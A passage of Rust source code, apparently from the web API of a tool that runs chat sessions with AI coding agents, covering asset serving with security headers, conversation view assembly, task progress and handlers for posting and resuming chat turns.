8754 return Err(ApiError::bad_request(format!(
8755 "`{name}` is not a usable asset name"
8756 )));
8757 }
8758 blocking(move || {
8759 let id = resolve_question(&ui.questions, &id)?;
8760 let asset = ui
8761 .questions
8762 .panel_asset(&id, &name)
8763 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764 let Some(bytes) = asset else {
8765 return Err(ApiError::not_found(format!(
8766 "question {id} has no asset `{name}`"
8767 )));
8768 };
8769 Ok(panel_response(
8770 asset_content_type(&name),
8771 is_svg(&name),
8772 bytes,
8773 ))
8774 })
8775 .await
8776}
8777
8778fn asset_content_type(name: &str) -> &'static str {
8791 match extension(name).as_deref() {
8792 Some("png") => "image/png",
8793 Some("jpg" | "jpeg") => "image/jpeg",
8794 Some("gif") => "image/gif",
8795 Some("webp") => "image/webp",
8796 Some("svg") => "image/svg+xml",
8797 Some("css") => "text/css; charset=utf-8",
8798 Some("txt") => "text/plain; charset=utf-8",
8799 _ => "application/octet-stream",
8800 }
8801}
8802
8803fn is_svg(name: &str) -> bool {
8806 extension(name).as_deref() == Some("svg")
8807}
8808
8809fn extension(name: &str) -> Option<String> {
8811 name.rsplit_once('.')
8812 .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832 let mut res = (
8833 [
8834 (header::CONTENT_TYPE, content_type),
8835 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837 (header::REFERRER_POLICY, "no-referrer"),
8838 ],
8839 body,
8840 )
8841 .into_response();
8842 if download {
8843 res.headers_mut().insert(
8844 header::CONTENT_DISPOSITION,
8845 HeaderValue::from_static("attachment"),
8846 );
8847 }
8848 res
8849}
8850
8851#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858 question: String,
8859 target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864 #[serde(flatten)]
8865 talk: Talk,
8866 turn_bodies_md: Vec<Vec<md::Node>>,
8867 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870 merge_approvals: Vec<ChatApproval>,
8871 thinking: bool,
8879 context: talk::ContextUsage,
8883 operator_name: Option<String>,
8886 persona_name: Option<String>,
8888 persona_avatar: String,
8891 operator_avatar: String,
8893 magi_avatar: String,
8894}
8895
8896impl TalkView {
8897 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902 }
8903
8904 fn with_config(
8907 talk: Talk,
8908 thinking: bool,
8909 cfg: Option<&Config>,
8910 home: &FsPath,
8911 cache: &id_links::IndexCache,
8912 ) -> Self {
8913 let references = cache.for_talk(home, &talk);
8914 Self::with_references(talk, thinking, cfg, home, &references)
8915 }
8916
8917 fn with_references(
8918 mut talk: Talk,
8919 thinking: bool,
8920 cfg: Option<&Config>,
8921 home: &FsPath,
8922 references: &id_links::IdIndex,
8923 ) -> Self {
8924 let snapshot = talk.clone();
8926 for (index, turn) in talk.turns.iter_mut().enumerate() {
8927 let original = &snapshot.turns[index];
8928 if turn.messages.is_empty() {
8929 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930 turn.messages.push(talk::Message {
8931 sender: Some(talk::Sender::Magi),
8932 body: original.body.clone(),
8933 display: Some(display),
8934 recovery_event: None,
8935 attachments: original.attachments.clone(),
8936 reply: None,
8937 });
8938 }
8939 } else {
8940 for (i, message) in turn.messages.iter_mut().enumerate() {
8941 message.display =
8942 talk::notice_display(&snapshot, original, original.messages.get(i));
8943 if message.display.is_some() {
8944 message.sender = Some(talk::Sender::Magi);
8945 }
8946 }
8947 }
8948 }
8949 for message in &mut talk.pending_messages {
8950 if message.display.is_none()
8951 && (message.sender == Some(talk::Sender::Magi)
8952 || snapshot
8953 .completion_notices
8954 .iter()
8955 .any(|r| r.notice == message.body))
8956 {
8957 message.display = crate::prompt::legacy_notice_display(&message.body);
8958 if message.display.is_some() {
8959 message.sender = Some(talk::Sender::Magi);
8960 }
8961 }
8962 }
8963 if talk.pending_messages.is_empty()
8964 && snapshot
8965 .completion_notices
8966 .iter()
8967 .any(|r| r.notice == talk.pending)
8968 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8969 {
8970 talk.pending_messages.push(talk::Message {
8971 sender: Some(talk::Sender::Magi),
8972 display: Some(display),
8973 recovery_event: None,
8974 body: talk.pending.clone(),
8975 attachments: talk.pending_attachments.clone(),
8976 reply: None,
8977 });
8978 }
8979 let excerpts: Vec<Vec<Option<String>>> = talk
8980 .turns
8981 .iter()
8982 .map(|turn| {
8983 turn.messages
8984 .iter()
8985 .map(|m| {
8986 m.display
8987 .as_ref()
8988 .map(|d| d.facts.chars().take(240).collect())
8989 })
8990 .collect()
8991 })
8992 .collect();
8993 for turn in &mut talk.turns {
8994 let provenance = talk::sender(turn, None);
8995 turn.sender = Some(provenance);
8996 for message in &mut turn.messages {
8997 message.sender = Some(message.sender.unwrap_or(provenance));
8998 }
8999 }
9000 let senders: Vec<Vec<talk::Sender>> = talk
9002 .turns
9003 .iter()
9004 .map(|turn| {
9005 if turn.messages.is_empty() {
9006 vec![talk::sender(turn, None)]
9007 } else {
9008 turn.messages
9009 .iter()
9010 .map(|m| talk::sender(turn, Some(m)))
9011 .collect()
9012 }
9013 })
9014 .collect();
9015 for reply in talk
9016 .turns
9017 .iter_mut()
9018 .flat_map(|t| t.messages.iter_mut())
9019 .chain(talk.pending_messages.iter_mut())
9020 .filter_map(|m| m.reply.as_mut())
9021 {
9022 if let Some(Some(excerpt)) = excerpts
9023 .get(reply.target.turn)
9024 .and_then(|ms| ms.get(reply.target.message))
9025 {
9026 reply.excerpt = excerpt.clone();
9027 reply.sender = Some(talk::Sender::Magi);
9028 }
9029 if reply.sender.is_none() {
9030 reply.sender = senders
9031 .get(reply.target.turn)
9032 .and_then(|messages| messages.get(reply.target.message))
9033 .copied();
9034 }
9035 }
9036 let context = talk::context_usage(&talk, cfg);
9037 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9038 .turns
9039 .iter()
9040 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9041 .collect();
9042 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9043 .turns
9044 .iter()
9045 .map(|turn| {
9046 if turn.messages.is_empty() {
9047 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9048 } else {
9049 turn.messages
9050 .iter()
9051 .map(|message| {
9052 notice_markdown(
9053 message.sender.unwrap_or(talk::Sender::Operator),
9054 &message.body,
9055 message.display.as_ref(),
9056 )
9057 })
9058 .collect()
9059 }
9060 })
9061 .collect();
9062 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9063 .pending_messages
9064 .iter()
9065 .map(|message| {
9066 notice_markdown(
9067 message.sender.unwrap_or(talk::Sender::Operator),
9068 &message.body,
9069 message.display.as_ref(),
9070 )
9071 })
9072 .collect();
9073 for nodes in &mut turn_bodies_md {
9074 references.markdown(nodes);
9075 }
9076 for nodes in turn_messages_md
9077 .iter_mut()
9078 .flatten()
9079 .chain(pending_messages_md.iter_mut())
9080 .flatten()
9081 {
9082 references.markdown(nodes);
9083 }
9084 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9085 let persona_name = persona::find(specs, &talk.persona)
9086 .filter(|p| !p.is_default())
9087 .map(|p| p.name);
9088 let mut avatar_persona = persona::find(specs, &talk.persona)
9089 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9090 if avatar_persona.id != talk.persona
9092 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9093 {
9094 avatar_persona.id.clone_from(&talk.persona);
9095 avatar_persona.icon = None;
9096 }
9097 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9098 let approvals_store = ask::Questions::at(home.join("questions"));
9099 let merge_approvals = talk
9100 .notified
9101 .iter()
9102 .filter_map(|key| key.strip_prefix("question:"))
9103 .filter_map(|id| approvals_store.get(id).ok())
9104 .filter(|q| crate::task_chat::approval_offered(&talk, q))
9105 .filter_map(|q| {
9106 Some(ChatApproval {
9107 question: q.id,
9108 target: q.merge_target?,
9109 })
9110 })
9111 .collect();
9112 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9113 Self {
9114 turn_bodies_md,
9115 turn_messages_md,
9116 pending_messages_md,
9117 merge_approvals,
9118 thinking,
9119 context,
9120 operator_name,
9121 persona_name,
9122 persona_avatar,
9123 magi_avatar: magi_icon_url(home),
9124 operator_avatar: operator_icon_url(home),
9125 talk,
9126 }
9127 }
9128}
9129
9130fn notice_markdown(
9132 sender: talk::Sender,
9133 body: &str,
9134 display: Option<&crate::prompt::NoticeDisplay>,
9135) -> Option<Vec<md::Node>> {
9136 if sender != talk::Sender::Magi {
9137 return None;
9138 }
9139 let text = if let Some(display) = display {
9140 display.facts.as_str()
9141 } else {
9142 if crate::prompt::is_completion_notice(body)
9145 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9146 {
9147 return None;
9148 }
9149 body.strip_prefix("magi: ").unwrap_or(body)
9150 };
9151 Some(md::to_nodes(text, &md::ImageBase::None))
9152}
9153
9154#[derive(Debug, Serialize)]
9159struct TalkDetailView {
9160 #[serde(flatten)]
9161 view: TalkView,
9162 tasks: Vec<TaskView>,
9163 task_progress: TalkTaskProgress,
9164 goal_link: Option<TalkGoalLink>,
9165 goal_link_for: Timestamp,
9166 roster: Vec<RosterEntry>,
9169 personas: Vec<PersonaEntry>,
9172}
9173
9174#[derive(Debug, Serialize)]
9176struct TalkTaskProgress {
9177 state: &'static str,
9178 total: usize,
9179 done: usize,
9180 counts: std::collections::BTreeMap<&'static str, usize>,
9181 unfinished_ids: Vec<String>,
9182}
9183
9184fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9185 let mut counts = std::collections::BTreeMap::from([
9186 ("queued", 0),
9187 ("running", 0),
9188 ("done", 0),
9189 ("failed", 0),
9190 ("held", 0),
9191 ("blocked", 0),
9192 ("parked", 0),
9193 ]);
9194 let mut unfinished_ids = Vec::new();
9195 for task in tasks {
9196 *counts.entry(task.status.as_str()).or_default() += 1;
9197 if task.status != TaskStatus::Done {
9198 unfinished_ids.push(task.id.clone());
9199 }
9200 }
9201 TalkTaskProgress {
9202 state: if tasks.is_empty() {
9203 "none"
9204 } else if unfinished_ids.is_empty() {
9205 "complete"
9206 } else {
9207 "incomplete"
9208 },
9209 total: tasks.len(),
9210 done: tasks.len() - unfinished_ids.len(),
9211 counts,
9212 unfinished_ids,
9213 }
9214}
9215
9216#[derive(Debug, Serialize)]
9219struct TalkGoalLink {
9220 goal: String,
9221 kind: &'static str,
9222 id: String,
9223}
9224
9225fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9226 let goal = crate::chat_goal::Goal::selected(talk)?;
9227 let repo = goal.effective_repo(&talk.repo);
9228 let valid_run = |id: &str| {
9229 plain_record_id(id)
9230 && read_run(runs, id).is_ok_and(|state| {
9231 state.id == id
9232 && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9233 })
9234 };
9235 for id in goal.tasks.iter().rev() {
9236 let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9237 continue;
9238 };
9239 if let Some(run) = task.execution_runs().last()
9242 && valid_run(run)
9243 {
9244 return Some(TalkGoalLink {
9245 goal: goal.id.clone(),
9246 kind: "run",
9247 id: run.clone(),
9248 });
9249 }
9250 return Some(TalkGoalLink {
9251 goal: goal.id.clone(),
9252 kind: "task",
9253 id: task.id,
9254 });
9255 }
9256 for id in goal.runs.iter().rev() {
9257 if valid_run(id) {
9258 return Some(TalkGoalLink {
9259 goal: goal.id.clone(),
9260 kind: "run",
9261 id: id.clone(),
9262 });
9263 }
9264 }
9265 None
9266}
9267
9268#[derive(Debug, Serialize)]
9270struct PersonaEntry {
9271 id: String,
9272 name: String,
9273 avatar: String,
9275}
9276
9277#[derive(Debug, Serialize)]
9279struct RosterEntry {
9280 id: String,
9281 kind: AgentKind,
9282 runnable: bool,
9284}
9285
9286async fn talks_list(
9288 State(ui): State<Arc<Ui>>,
9289 Query(q): Query<ListQuery>,
9290 headers: header::HeaderMap,
9291) -> ApiResult<Json<Vec<TalkListView>>> {
9292 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9293 let limit = q.limit.unwrap_or(50).min(50);
9294 let ids = if let Some(ids) = q.ids {
9295 ids.split(',')
9296 .filter(|id| plain_record_id(id))
9297 .take(limit)
9298 .map(str::to_owned)
9299 .collect()
9300 } else {
9301 page_ids(&ui, true, PageQuery::default())?
9302 .0
9303 .into_iter()
9304 .take(limit.min(STORE_PAGE_SIZE))
9305 .collect()
9306 };
9307 Ok(Json(talk_rows(&ui, ids, &headers)))
9308 })
9309 .await
9310}
9311
9312#[derive(Debug, Default, Deserialize)]
9317#[serde(default)]
9318struct NewTalk {
9319 agent: Option<String>,
9320 repo: Option<PathBuf>,
9321 preferred_agent: Option<serde_json::Value>,
9325 persona: Option<serde_json::Value>,
9326 implementers: Option<serde_json::Value>,
9327}
9328
9329async fn talk_post(
9332 State(ui): State<Arc<Ui>>,
9333 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9334) -> ApiResult<impl IntoResponse> {
9335 let body = match body {
9339 Ok(Json(body)) => body,
9340 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9341 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9342 };
9343 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9344 let cfg = config_for(&repo).await?;
9345 let view = blocking(move || {
9346 let preferred = talk::Preferred {
9347 agent: body
9348 .preferred_agent
9349 .as_ref()
9350 .and_then(|v| v.as_str())
9351 .map(str::to_owned),
9352 persona: body
9353 .persona
9354 .as_ref()
9355 .and_then(|v| v.as_str())
9356 .map(str::to_owned),
9357 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9358 };
9359 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9360 let thinking = ui.is_thinking(&talk.id);
9361 Ok(TalkView::new(talk, thinking, &ui))
9362 })
9363 .await?;
9364 Ok((StatusCode::CREATED, Json(view)))
9365}
9366
9367async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9369 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9371 let id = resolve_talk(&ui.talks, &id)?;
9372 let talk = ui.talks.get(&id)?;
9373 let thinking = ui.is_thinking_observed(&id);
9374 Ok(Json(TalkView::with_references(
9377 talk,
9378 thinking,
9379 None,
9380 &ui.home,
9381 &id_links::IdIndex::default(),
9382 )))
9383 })
9384 .await
9385}
9386
9387async fn talk_sections(
9388 State(ui): State<Arc<Ui>>,
9389 Path(id): Path<String>,
9390) -> ApiResult<Json<serde_json::Value>> {
9391 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9392 let id = resolve_talk(&ui.talks, &id)?;
9393 let talk = ui.talks.get(&id)?;
9394 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9395 let task_progress = talk_task_progress(&tasks);
9396 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9397 let tasks: Vec<_> = tasks
9398 .into_iter()
9399 .map(|task| {
9400 serde_json::json!({
9401 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9402 })
9403 })
9404 .collect();
9405 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9406 let roster: Vec<_> = cfg
9407 .as_ref()
9408 .map(|cfg| {
9409 cfg.agents
9410 .iter()
9411 .map(|a| RosterEntry {
9412 id: a.id.clone(),
9413 kind: a.kind,
9414 runnable: agent::installed(a),
9415 })
9416 .collect()
9417 })
9418 .unwrap_or_default();
9419 let specs = cfg
9420 .as_ref()
9421 .map(|cfg| cfg.talk.personas.clone())
9422 .unwrap_or_default();
9423 let personas: Vec<_> = persona::catalog(&specs)
9424 .into_iter()
9425 .map(|p| PersonaEntry {
9426 avatar: avatar_url(&ui.home, &talk.id, &p),
9427 id: p.id,
9428 name: p.name,
9429 })
9430 .collect();
9431 let active_persona = persona::find(&specs, &talk.persona)
9432 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9433 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9434 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9435 Ok(Json(serde_json::json!({
9436 "tasks": tasks, "task_progress": task_progress,
9437 "goal_link": goal_link, "goal_link_for": talk.updated_at,
9438 "roster": roster, "personas": personas,
9439 "context": talk::context_usage(&talk, cfg.as_ref()),
9440 "context_for": talk.updated_at,
9441 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9442 "persona_name": persona_name,
9443 "persona_avatar": persona_avatar,
9444 })))
9445 })
9446 .await
9447}
9448
9449async fn talk_detail(
9451 State(ui): State<Arc<Ui>>,
9452 Path(id): Path<String>,
9453) -> ApiResult<Json<TalkDetailView>> {
9454 blocking(move || {
9455 let id = resolve_talk(&ui.talks, &id)?;
9456 let talk = ui.talks.get(&id)?;
9457 let thinking = ui.is_thinking_observed(&talk.id);
9458 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9459 let task_progress = talk_task_progress(&tasks);
9460 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9461 let goal_link_for = talk.updated_at;
9462 let tasks = tasks.into_iter().map(TaskView::from).collect();
9463 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9464 let roster = cfg
9465 .as_ref()
9466 .map(|cfg| {
9467 cfg.agents
9468 .iter()
9469 .map(|a| RosterEntry {
9470 id: a.id.clone(),
9471 kind: a.kind,
9472 runnable: agent::installed(a),
9473 })
9474 .collect()
9475 })
9476 .unwrap_or_default();
9477 let specs = cfg
9478 .as_ref()
9479 .map(|cfg| cfg.talk.personas.clone())
9480 .unwrap_or_default();
9481 let personas = persona::catalog(&specs)
9482 .into_iter()
9483 .map(|p| PersonaEntry {
9484 avatar: avatar_url(&ui.home, &talk.id, &p),
9485 id: p.id,
9486 name: p.name,
9487 })
9488 .collect();
9489 Ok(Json(TalkDetailView {
9490 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9491 tasks,
9492 task_progress,
9493 goal_link,
9494 goal_link_for,
9495 roster,
9496 personas,
9497 }))
9498 })
9499 .await
9500}
9501
9502#[derive(Debug, Default, Deserialize)]
9508#[serde(default, deny_unknown_fields)]
9509struct NewTalkTurn {
9510 reply_to: Option<talk::ReplyTarget>,
9511 text: String,
9512 attachments: Vec<String>,
9513}
9514
9515#[derive(Debug, Deserialize)]
9516#[serde(deny_unknown_fields)]
9517struct EditTalkPending {
9518 #[serde(default)]
9519 message: Option<usize>,
9520 text: String,
9521 expected_text: String,
9522 expected_attachments: Vec<String>,
9523}
9524
9525#[derive(Debug, Deserialize)]
9526#[serde(deny_unknown_fields)]
9527struct ClearTalkPending {
9528 expected_text: String,
9529 expected_attachments: Vec<String>,
9530}
9531
9532async fn talk_say(
9544 State(ui): State<Arc<Ui>>,
9545 Path(id): Path<String>,
9546 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9547) -> ApiResult<(StatusCode, Json<TalkView>)> {
9548 let admission = ui.begin_admission()?;
9549 admitted(admission, async move {
9550 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9551 if body.text.trim().is_empty() && body.attachments.is_empty() {
9552 return Err(ApiError::bad_request("say something"));
9553 }
9554
9555 let id = {
9556 let ui = Arc::clone(&ui);
9557 let asked = id.clone();
9558 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9559 };
9560 {
9564 let ui = Arc::clone(&ui);
9565 let id = id.clone();
9566 blocking(move || {
9567 let talk = ui.talks.get(&id)?;
9568 if !talk.status.open() {
9569 return Err(ApiError::conflict(format!(
9570 "talk {} is {} and takes no more turns",
9571 talk.short(),
9572 talk.status.as_str()
9573 )));
9574 }
9575 Ok(())
9576 })
9577 .await?;
9578 }
9579
9580 let attachments = {
9585 let ui = Arc::clone(&ui);
9586 let id = id.clone();
9587 let ids = body.attachments.clone();
9588 blocking(move || {
9589 ids.into_iter()
9590 .map(|att_id| {
9591 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9592 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9593 })
9594 })
9595 .collect::<ApiResult<Vec<talk::Attachment>>>()
9596 })
9597 .await?
9598 };
9599 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9600 .await.map_err(ApiError::from)?;
9601
9602 let start = {
9607 let ui = Arc::clone(&ui);
9608 let id = id.clone();
9609 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9610 };
9611 let turn_guard = match start {
9612 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9613 TalkTurnStart::Pending => {
9614 return Err(ApiError::conflict(
9615 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9616 ));
9617 }
9618 TalkTurnStart::Foreign => {
9619 return Err(ApiError::conflict(
9620 "a turn is already running in another process; try again when it has finished",
9621 ));
9622 }
9623 TalkTurnStart::Busy => {
9624 let (tx, rx) = tokio::sync::oneshot::channel();
9640 tokio::spawn({
9641 let ui = Arc::clone(&ui);
9642 let id = id.clone();
9643 let said = body.text.clone();
9644 let reply_to = body.reply_to.clone();
9645 async move {
9646 let written = blocking({
9647 let ui = Arc::clone(&ui);
9648 let id = id.clone();
9649 move || {
9650 let mut talk = ui.talks.get(&id)?;
9651 #[cfg(test)]
9656 if let Some(gate) = ui
9657 .busy_queue_gate
9658 .lock()
9659 .unwrap_or_else(PoisonError::into_inner)
9660 .take()
9661 {
9662 let _ = gate.reached.send(());
9663 let _ = gate.release.recv();
9664 }
9665 if let Err(error) = talk::queue_reply(
9666 &mut talk,
9667 &ui.talks,
9668 &said,
9669 attachments,
9670 reply_to,
9671 ) {
9672 if let Ok(fresh) = ui.talks.get(&id) {
9673 if !fresh.status.open() {
9674 return Err(ApiError::conflict(format!(
9675 "talk {} is {} and takes no more turns",
9676 fresh.short(),
9677 fresh.status.as_str()
9678 )));
9679 }
9680 }
9681 return Err(
9682 if error.to_string().contains("invalid reply target") {
9683 ApiError::bad_request("invalid reply target")
9684 } else {
9685 ApiError::from(error)
9686 },
9687 );
9688 }
9689 let claim = match ui.begin_queued_talk_turn(&id)? {
9700 Some(turn_guard) => {
9701 let (cfg, _) = Config::discover(&talk.repo, None)?;
9702 Some((talk.clone(), cfg, turn_guard))
9703 }
9704 None => None,
9705 };
9706 let thinking = ui.is_thinking(&id);
9707 Ok((TalkView::new(talk, thinking, &ui), claim))
9708 }
9709 })
9710 .await;
9711 #[cfg(not(test))]
9712 {
9713 match written {
9714 Ok((view, reclaimed)) => {
9715 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9716 drop(reclaimed);
9717 match launched {
9718 Ok(_) => { let _ = tx.send(Ok(view)); }
9719 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9720 }
9721 }
9722 Err(error) => { let _ = tx.send(Err(error)); }
9723 }
9724 }
9725 #[cfg(test)]
9726 {
9727 let (view, reclaimed) = match written {
9728 Ok(pair) => pair,
9729 Err(e) => {
9730 let _ = tx.send(Err(e));
9735 return;
9736 }
9737 };
9738 let _ = tx.send(Ok(view));
9741 if let Some((talk, cfg, turn_guard)) = reclaimed {
9742 let talks = ui.talks.clone();
9743 drain_loop(talk, talks, cfg, id, turn_guard).await;
9744 }
9745 }
9746 }
9747 });
9748 let view = rx
9749 .await
9750 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9751 return Ok((StatusCode::ACCEPTED, Json(view)));
9752 }
9753 };
9754
9755 let (talk, cfg) = {
9756 let ui = Arc::clone(&ui);
9757 let id = id.clone();
9758 blocking(move || {
9759 let talk = ui.talks.get(&id)?;
9760 let (cfg, _) = Config::discover(&talk.repo, None)?;
9761 Ok((talk, cfg))
9762 })
9763 .await?
9764 };
9765
9766 let talks = ui.talks.clone();
9767 let (tx, rx) = tokio::sync::oneshot::channel();
9782 tokio::spawn({
9783 #[cfg(test)]
9784 let ui = Arc::clone(&ui);
9785 let talks = talks.clone();
9786 let id = id.clone();
9787 let said = body.text.clone();
9788 let reply_to = body.reply_to.clone();
9789 let mut talk = talk.clone();
9790 async move {
9791 let recorded = blocking({
9792 let talks = talks.clone();
9793 move || {
9794 if let Err(error) =
9795 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9796 {
9797 if let Ok(fresh) = talks.get(&talk.id) {
9798 if !fresh.status.open() {
9799 return Err(ApiError::conflict(format!(
9800 "talk {} is {} and takes no more turns",
9801 fresh.short(),
9802 fresh.status.as_str()
9803 )));
9804 }
9805 }
9806 return Err(if error.to_string().contains("invalid reply target") {
9807 ApiError::bad_request("invalid reply target")
9808 } else {
9809 ApiError::from(error)
9810 });
9811 }
9812 Ok((said.trim().to_owned(), talk))
9818 }
9819 })
9820 .await;
9821 let (text, talk) = match recorded {
9822 Ok(pair) => pair,
9823 Err(e) => {
9824 let _ = tx.send(Err(e));
9828 return;
9829 }
9830 };
9831 #[cfg(not(test))]
9832 {
9833 let _ = (&cfg, &text);
9834 let result = crate::chat_worker::spawn_recorded_turn(
9838 &talks, &id, talk.turns.len() - 1,
9839 ).await;
9840 drop(turn_guard);
9841 match result {
9842 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9843 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9844 }
9845 }
9846 #[cfg(test)]
9847 {
9848 let queued = talk.clone();
9849 let mut talk = talk;
9850 let thinking = ui.is_thinking(&id);
9851 let _ = tx.send(Ok((queued, thinking)));
9854
9855 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9856 tracing::warn!("talk {id} turn failed: {e:#}");
9860 }
9861 drain_loop(talk, talks, cfg, id, turn_guard).await;
9864 }
9865 }
9866 });
9867
9868 let (queued, thinking) = rx
9869 .await
9870 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9871
9872 Ok((
9874 StatusCode::ACCEPTED,
9875 Json(TalkView::new(queued, thinking, &ui)),
9876 ))
9877 }).await
9878}
9879
9880async fn talk_pending_resume(
9884 State(ui): State<Arc<Ui>>,
9885 Path(id): Path<String>,
9886) -> ApiResult<(StatusCode, Json<TalkView>)> {
9887 let admission = ui.begin_admission()?;
9888 admitted(admission, async move {
9889 let id = {
9890 let ui = Arc::clone(&ui);
9891 let asked = id.clone();
9892 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9893 };
9894 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9895 .await
9896 .map_err(ApiError::from)?;
9897 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9898 return Err(ApiError::conflict(
9899 "a talk turn is already running; the queued draft will be handled by it",
9900 ));
9901 };
9902 let (talk, cfg) = {
9903 let ui = Arc::clone(&ui);
9904 let id = id.clone();
9905 blocking(move || {
9906 let talk = ui.talks.get(&id)?;
9907 if !talk.status.open() {
9908 return Err(ApiError::conflict(format!(
9909 "talk {} is {} and takes no more turns",
9910 talk.short(),
9911 talk.status.as_str()
9912 )));
9913 }
9914 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9915 return Err(ApiError::conflict("there is no queued draft to resume"));
9916 }
9917 let (cfg, _) = Config::discover(&talk.repo, None)?;
9918 Ok((talk, cfg))
9919 })
9920 .await?
9921 };
9922 let view = TalkView::new(talk.clone(), true, &ui);
9923 let talks = ui.talks.clone();
9924 #[cfg(not(test))]
9925 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9926 #[cfg(test)]
9927 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9928 Ok((StatusCode::ACCEPTED, Json(view)))
9929 })
9930 .await
9931}
9932
9933#[cfg(not(test))]
9936async fn detach_talk_turn(
9937 _talk: Talk,
9938 talks: Talks,
9939 _cfg: Config,
9940 id: String,
9941 turn: TalkTurnGuard,
9942) -> ApiResult<()> {
9943 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9944 drop(turn);
9945 launched.map(|_| ()).map_err(ApiError::from)
9946}
9947
9948#[cfg(test)]
9949async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9950 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9951}
9952
9953async fn settle_settings_turn(
9957 talk: Talk,
9958 talks: Talks,
9959 cfg: Config,
9960 id: String,
9961 turn: TalkTurnGuard,
9962 observed: u64,
9963) -> bool {
9964 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9965 let turns = Arc::clone(&turn.turns);
9966 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9967 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9968 turn.release(&mut live);
9970 return false;
9971 }
9972 }
9973 let (started, settled) = tokio::sync::oneshot::channel();
9974 tokio::spawn(drain_loop_started(
9975 talk,
9976 talks,
9977 cfg,
9978 id,
9979 turn,
9980 Some(started),
9981 ));
9982 settled.await.unwrap_or(false)
9983}
9984
9985#[cfg(not(test))]
9986async fn drain_loop_started(
9987 talk: Talk,
9988 talks: Talks,
9989 _cfg: Config,
9990 id: String,
9991 turn: TalkTurnGuard,
9992 started: Option<tokio::sync::oneshot::Sender<bool>>,
